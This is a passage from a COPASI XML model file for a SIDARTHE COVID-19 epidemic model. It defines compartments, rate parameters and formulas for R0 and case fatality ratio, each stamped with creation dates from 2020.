<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_9">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_10" name="S" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_10">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=InitialConcentration>
</InitialExpression>
</Metabolite>
<Metabolite key="Metabolite_11" name="D" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_11">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:41Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_12" name="A" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_12">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:41:07Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_13" name="R" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_13">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:41:40Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_14" name="T" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_14">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:45:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_15" name="E" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_15">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:14Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_16" name="H" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_16">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_17" name="UCH" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_17">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-29T01:31:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
</ListOfMetabolites>
<ListOfModelValues>
<ModelValue key="ModelValue_57" name="alpha" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_57">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:14Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_58" name="beta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_58">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:15Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.02
</InitialExpression>
</ModelValue>
<ModelValue key="ModelValue_59" name="gamma" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_59">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.5
</InitialExpression>
</ModelValue>
<ModelValue key="ModelValue_60" name="delta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_60">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:20Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.03
</InitialExpression>
</ModelValue>
<ModelValue key="ModelValue_61" name="epsilon" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_61">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:22Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_62" name="zeta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_62">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_63" name="eta" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_63">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:27:02Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_64" name="theta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_64">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:28:58Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_65" name="kappa" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_65">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:29:03Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_66" name="lambda" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_66">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:29:30Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_67" name="mu" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_67">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:29:50Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_68" name="nu" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_68">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:29:55Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_69" name="xi" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_69">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:31:39Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_70" name="rho" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_70">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:31:42Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_71" name="sigma" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_71">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:31:45Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_72" name="tau" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_72">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:32:02Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_73" name="DRT" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_73">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T18:54:35Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_74" name="IDARTHE" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_74">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T19:08:58Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_75" name="IDART" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_75">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T19:10:28Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_76" name="Recovered" simulationType="ode" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_76">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T20:39:15Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_77" name="Diagnosed Cumulative infected" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_77">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T20:50:53Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_78" name="r1" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_78">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:31:35Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_79" name="r2" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_79">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:32:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_80" name="r3" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_80">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:33:26Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_81" name="r4" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_81">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:34:17Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_82" name="r5" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_82">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:34:51Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_83" name="Perceived CFR" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_83">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:36:06Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration>/((<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value>*(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=Value>))/(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3],Reference=Value>)*(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration>)+(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=Value>)/<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3],Reference=Value>*(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration>))
</Expression>
</ModelValue>
<ModelValue key="ModelValue_84" name="CFR" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_84">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:45:28Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration>/(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration>)
</Expression>
</ModelValue>
<ModelValue key="ModelValue_85" name="R0" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_85">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T00:00:24Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value>/(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2],Reference=Value>)+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value>/(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3],Reference=Value>)+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value>/(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4],Reference=Value>)+<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value>/(<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 